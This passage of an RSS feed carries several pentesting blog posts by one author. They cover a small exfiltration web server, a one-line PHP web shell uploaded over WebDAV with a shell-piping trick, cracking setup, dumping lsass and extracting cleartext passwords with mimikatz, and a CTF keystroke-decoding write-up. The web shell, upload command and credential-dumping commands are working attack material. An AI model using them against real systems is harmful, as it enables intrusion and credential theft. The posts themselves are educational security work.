            <content:encoded><![CDATA[<p>recently i was in engagement and needed to download large file from the compromised machine , i was unable to get it from TFTP neither from cert-util .</p><p>i had to create a simple python script that launch mini HTTP web server and convert it to exe since it was windows machine and does not have python installed .</p><pre>import http.server<br>import socketserver<br>import sys<br>import socket<br>import os <br><br><br>if len(sys.argv) &gt; 1:<br>    try:<br>        PORT = int(sys.argv[1])<br>    except ValueError:<br>        PORT = -1<br>else:<br>    PORT = 8000<br><br>print(&quot;WinSimpleHTTP ----v1.1--------------------&quot;)<br><br>if PORT &lt; 2 or PORT &gt; 65535:<br>    print(&quot;Invalid Port : &quot; , str(PORT))<br>    print(&quot;Port must be 2-65535&quot;)<br>    print(&quot;------------------------------------------&quot;)<br>else:<br>    path = os.path.dirname(os.path.realpath(__file__))<br><br>    ip = [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith(&quot;127.&quot;)][:1], [[(s.connect((&#39;8.8.8.8&#39;, 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]<br><br>    <br>    Handler = http.server.SimpleHTTPRequestHandler<br>    httpd = socketserver.TCPServer((&quot;&quot;, PORT), Handler)<br>    print(path , &quot; ---&gt; &quot;, ip , &quot;:&quot; ,str(PORT))<br>    print(&quot;you are connected now try to access the server from the other machine&quot;)<br>    httpd.serve_forever()</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfee35f718a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TTY SHELL FROM ONE LINE OF PHP CODE]]></title>
            <link>https://abawazeeer.medium.com/tty-shell-from-one-line-of-php-code-cd688c8428d2?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd688c8428d2</guid>
            <category><![CDATA[python-tty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[php-shell]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[tty-shell]]></category>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Wed, 18 Apr 2018 14:29:22 GMT</pubDate>
            <atom:updated>2018-04-18T14:29:22.092Z</atom:updated>
            <content:encoded><![CDATA[<p>we all know how important to gain tty ( teletype terminal ) shell during a penetration testing.</p><p>i had a scenario where the vulnerable webdav server is installed in virtualization environment and no routing enabled from the victim box to the outside network or lets say there is outbound firewall and reverse connection denied !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*RLOS9BejY-Hyfr4xWd2GOw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*w-1iDFS0tf7loIDhPZVJ0A.png" /></figure><p>i was able to upload php shell of oneline using webdav credentials.</p><pre>curl -vvv --upload-file cmd.php <a href="http://example/webdav/cmd.php">http://example/webdav/cmd.ph</a>p --user username:password</pre><pre>cmd.php </pre><pre>&lt;?php echo system($_REQUEST[&#39;pentest&#39;]); ?&gt;</pre><p>the python code below will take a request command and pipe it and receive the response again in threaded mode</p><pre>&quot;&quot;&quot;mkfifo %s; tail -f %s | /bin/sh 2&gt;&amp;1 &gt; %s&quot;&quot;&quot;</pre><p>python3</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6181c594b1426598f366ceb87f272ff2/href">https://medium.com/media/6181c594b1426598f366ceb87f272ff2/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*tLz7YHSTpw8ighulj11fmw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd688c8428d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hashcat In Virtualization environment]]></title>
            <link>https://abawazeeer.medium.com/hashcat-in-virtualization-environment-a17ba187ff58?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/a17ba187ff58</guid>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Tue, 17 Apr 2018 06:54:28 GMT</pubDate>
            <atom:updated>2018-04-17T06:54:28.146Z</atom:updated>
            <content:encoded><![CDATA[<p>we all know hashcat utilize gpu and to work with cpu in virtualbox or vmware <br>you will need to install the following</p><p>apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev</p><p>apt-get install pocl-opencl-icd</p><p>tested on PWK vm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*3HquWS85_IgnpLr88BsVRg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a17ba187ff58" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[using Mimikatz to get cleartext password from offline memory dump]]></title>
            <link>https://abawazeeer.medium.com/using-mimikatz-to-get-cleartext-password-from-offline-memory-dump-76ed09fd3330?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/76ed09fd3330</guid>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[mimikatz]]></category>
            <category><![CDATA[procdump]]></category>
            <category><![CDATA[sysinternals]]></category>
            <category><![CDATA[memory-dump]]></category>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Wed, 11 Apr 2018 09:46:58 GMT</pubDate>
            <atom:updated>2018-04-11T09:46:58.371Z</atom:updated>
            <content:encoded><![CDATA[<p>requirements : <br>new version of kali<br>mimikatz : wget <a href="https://raw.githubusercontent.com/dfirfpi/hotoloti/master/volatility/mimikatz.py">https://raw.githubusercontent.com/dfirfpi/hotoloti/master/volatility/mimikatz.py</a></p><p>in case you found offline dump or you were able to dump lsas process using procdump</p><p>The technique can be involves in pentesting by obtaining passwords in clear text from a server without running “malicious” code in it since mimikatz is flagged by most AV . In this way we avoid having to deal with antivirus evasion techniques and other headaches.</p><ul><li>Procdump: <a href="http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx">http://technet.microsoft.com/enus/sysinternals/dd996900.aspx</a></li></ul><p>On the other hand, Procdump is a tool developed by Mark Russinovich that will allow us to dump the memory space of a process to a file.</p><p>Note : To take dump you require system privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*HC2_aZ6KDujf0GS2kujscg.png" /></figure><pre>C:\temp\procdump.exe -accepteula  -ma lsass.exe lsass.dmp<br>#For 32 bits<br>C:\temp\procdump.exe -accepteula -64 -ma lsass.exe  lsass.dmp  <br>#For 64 bits</pre><p>Download the file lsass.dmp generated.<br> Launch mimikatz alpha against the lsass.dmp file with the commands:</p><pre>mimikatz # sekurlsa::minidump lsass.dmp<br>Switch to MINIDUMP</pre><pre>mimikatz # sekurlsa::logonPasswords full</pre><p>in case of full memory dump you can follow the reference : which i did not try myself but should work in virtualbox : <a href="http://wiki.yobi.be/wiki/RAM_analysis#RAM_dump_with_VirtualBox:_via_pgmphystofile">http://wiki.yobi.be/wiki/RAM_analysis#RAM_dump_with_VirtualBox:_via_pgmphystofile</a></p><p>— — — — — — -</p><p>now lets dig into volatility and mimikatz</p><p>by default volatility does not have mimikatz so you need to navigate to the directory</p><ol><li>/usr/share/volatility</li><li>mkdir plugins</li><li>cd plugins</li><li>wget <a href="https://raw.githubusercontent.com/dfirfpi/hotoloti/master/volatility/mimikatz.py">https://raw.githubusercontent.com/dfirfpi/hotoloti/master/volatility/mimikatz.py</a></li><li>apt-get install python-crypto</li><li>volatility — plugins=/usr/share/volatility/plugins — profile=Win7SP0x86 -f halomar.dmp mimikatz</li></ol><p>this is the memory dump file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LdgKh3-7JbSvBw0zD8ti1A.png" /></figure><p>if you need the ntlm hash :</p><p>volatility — plugins=/usr/share/volatility/plugins — profile=Win7SP0x86 -f ~/Desktop/ctf/halomar.dmp hashdump</p><p>That’s it , i did learn something new .. hope you do</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76ed09fd3330" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[kaizen-ctf 2018 — Reverse Engineer usb keystrok from pcap file]]></title>
            <link>https://abawazeeer.medium.com/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4?source=rss-6a8a3102f063------2</link>
            <guid isPermaLink="false">https://medium.com/p/2412351679f4</guid>
            <category><![CDATA[keyboard]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[pcap]]></category>
            <dc:creator><![CDATA[AliBawazeEer]]></dc:creator>
            <pubDate>Tue, 27 Feb 2018 16:09:00 GMT</pubDate>
            <atom:updated>2018-02-27T16:09:00.460Z</atom:updated>
            <content:encoded><![CDATA[<p>yesterday was a great experience for me to attend all kind of joubert , one of the challenges i could not solve and understand in the reverse engineering section . this CTF challenge contain pcapng file and no hint provided only flag needed to earn the points ..</p><ul><li>for people dont know what is <strong>pcap :</strong> (a packet capture) consists of an application programming interface (API) for capturing network traffic</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vOjoSPRduf5_nH6gLCEXEg.jpeg" /></figure><p>opened the file with wireshark network analyser and noticed kind of new type of communication , to be honest i never knew it could happen untill i solved this challenge …</p><p>things noted :</p><p>1- the source and destination using two way of communication <br>2- protocol USB( universal serial block )</p><p>its apparent that i am not dealing with 802.3 Ethernet traffic which have not done before of analyzing these sort of activity</p><p>OK — its a USB traffic captured . My immediate thought (which turned out to be pretty spot-on) was that “this is probably a capture of USB keyboard traffic; the key was typed in and is subsequently buried in the traffic”. my assumption here the challenge designer has hidden the flag in sort of key stroke .</p><p>starting my disorganized research and came across <a href="http://wiki.wireshark.org/USB">http://wiki.wireshark.org/USB</a> <a href="http://www.beyondlogic.org/usbnutshell/usb4.shtml#Interrupt">http://www.beyondlogic.org/usbnutshell/usb4.shtml#Interrupt</a><br>which came handy to understand the frame and few details of data input and output in USB protocol .</p><p>another good resource helped me later for developing the script to solve this challenge<br><a href="http://www.usb.org/developers/hidpage/Hut1_12v2.pdf">http://www.usb.org/developers/hidpage/Hut1_12v2.pdf</a></p><p>reading about USB reveals that there are four basic modes of transfer for USB: The ‘transfer_type’ specifies if this transfer is isochronous (0), interrupt (1), control (2) or bulk (3).</p><p>looking again at the pcap file i see there is two way of communication only with 8 bytes difference</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Qdmil_7HcCUxHf8h9emSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*pjTUSTrfMtaHpXhqY-bc4w.jpeg" /></figure><p>we note here its interrupt type ,frame length and captured data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R3WH1mbiCdKAPx1eoFYtZA.jpeg" /></figure><p>the value highlighted keep changing and its the key stroke hex value “ the pdf file revealed 04 and its equivalent “a” letter</p><p>creating a wireshark filter to list all interrupt communication with 8 bytes since its our attention only to find the keystroke</p><p>usb.transfer_type == 0x01</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7ECCEjPLiLAYnpTq4PZqA.png" /></figure><p>((usb.transfer_type == 0x01) &amp;&amp; (frame.len == 72)) &amp;&amp; !(usb.capdata == 00:00:00:00:00:00:00:00)</p><p>add the capture data to the column</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NjWixDPtuatNOy2o76jVzA.png" /></figure><p>exporting the data as CSV file to get the column</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*aAlPjdZKqwAGgafL3jEnuw.png" /></figure><p>cut with — delimiter</p><p>cat leftdata | cut -d “,” -f 7 | cut -d “\”” -f 2 | grep -vE “Leftover Capture Data” &gt; hexoutput.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*3Bip0cSSU5osn7-WlIlhuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*vRa7_4ANiEHYehdmdcVYiw.png" /><figcaption>python code</figcaption></figure><p>newmap = {<br> 2: “PostFail”,<br> 4: “a”,<br> 5: “b”,<br> 6: “c”,<br> 7: “d”,<br> 8: “e”,<br> 9: “f”,<br> 10: “g”,<br> 11: “h”,<br> 12: “i”,<br> 13: “j”,<br> 14: “k”,<br> 15: “l”,<br> 16: “m”,<br> 17: “n”,<br> 18: “o”,<br> 19: “p”,<br> 20: “q”,<br> 21: “r”,<br> 22: “s”,<br> 23: “t”,<br> 24: “u”,<br> 25: “v”,<br> 26: “w”,<br> 27: “x”,<br> 28: “y”,<br> 29: “z”,<br> 30: “1”,<br> 31: “2”,<br> 32: “3”,<br> 33: “4”,<br> 34: “5”,<br> 35: “6”,<br> 36: “7”,<br> 37: “8”,<br> 38: “9”,<br> 39: “0”,<br> 40: “Enter”,<br> 41: “esc”,<br> 42: “del”,<br> 43: “tab”,<br> 44: “space”,<br> 45: “-”,<br> 47: “[“,<br> 48: “]”,<br> 56: “/”,<br> 57: “CapsLock”,<br> 79: “RightArrow”,<br> 80: “LetfArrow”<br> }</p><p>myKeys = open(‘hexoutput.txt’)<br>i = 1<br>for line in myKeys:<br> bytesArray = bytearray.fromhex(line.strip())<br> #print “Line Number: “ + str(i)<br> for byte in bytesArray:<br> if byte != 0:<br> keyVal = int(byte)<br> <br> if keyVal in newmap:<br> #print “Value map : “ + str(keyVal) + “ — -&gt; “ + newmap[keyVal]<br> print newmap[keyVal]<br> else:<br> print “No map found for this value: “ + str(keyVal)<br> <br> #print format(byte, ‘02X’)<br> i+=1</p><p>flag : IS THHIIS WHAT YOU ARREE LOOKIINNG FOR /<br>FLAG [PCAPS-ARENT-JUST-FOR-NETWORK-TRAFFIC]</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2412351679f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>